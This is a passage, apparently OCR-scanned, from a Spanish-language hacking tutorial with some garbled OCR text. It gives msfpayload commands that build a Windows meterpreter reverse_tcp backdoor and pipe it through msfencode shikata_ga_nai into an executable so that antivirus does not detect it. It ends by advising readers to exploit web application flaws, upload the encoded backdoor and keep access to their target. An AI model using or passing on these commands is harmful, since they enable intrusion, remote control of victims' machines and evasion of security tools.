a utilizar. La "R" se utiliza para dar al archivo de salida en formato de datos RAW para que podamos
codificar posteriormente.

° msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1234 R

Este comando creara el Payload, pero tiene que ser codificado con el fin de evitar la deteccién de los
antivirus, para tal caso se puede hacer usando la opcidon msfencode, para hacer esto, necesitamos usar
barra vertical ("|")

° windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1337 R| msfencode —e x86/shikata_ga_nai
-t exe >> bucker.exe

-ese usa para especificar el tipo de codificacion necesario, en este caso estoy usando
la codificacidn shikata_ga_naiy -t para el tipo de extension del archivo (exe).

Por ejemplo, si deseamos ver la lista de los codificadores disponibles en MSF, usamos el siguiente
comando:
° msfpayload windows/meterpreter/reverse_tcp -I

~ v x root@CalebBucker: ~
File Edit View Terr Help

i~ ole
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+» CONCLUSION

Estos son sélo unos pocos métodos que se pueden seguir para realizar la explotacion de las
vulnerabilidades en una aplicacién web.

Una vez que tengamos la informacidn acerca de nuestro objetivo, tratar de realizar una evaluacion de la
vulnerabilidad con el fin de obtener informacién sobre los exploits que se pueden utilizar.

Una vez hecho esto, explotar las vulnerabilidades y si es necesario, cargar un backdoor, pero antes de
eso, se debe codificar el backdoor con el fin de evitar la deteccion.

Espero que esto te ayude a encontrar la vulnerabilidad, la explotacion y la forma de mantener el acceso
a tu objetivo.

Un saludo.
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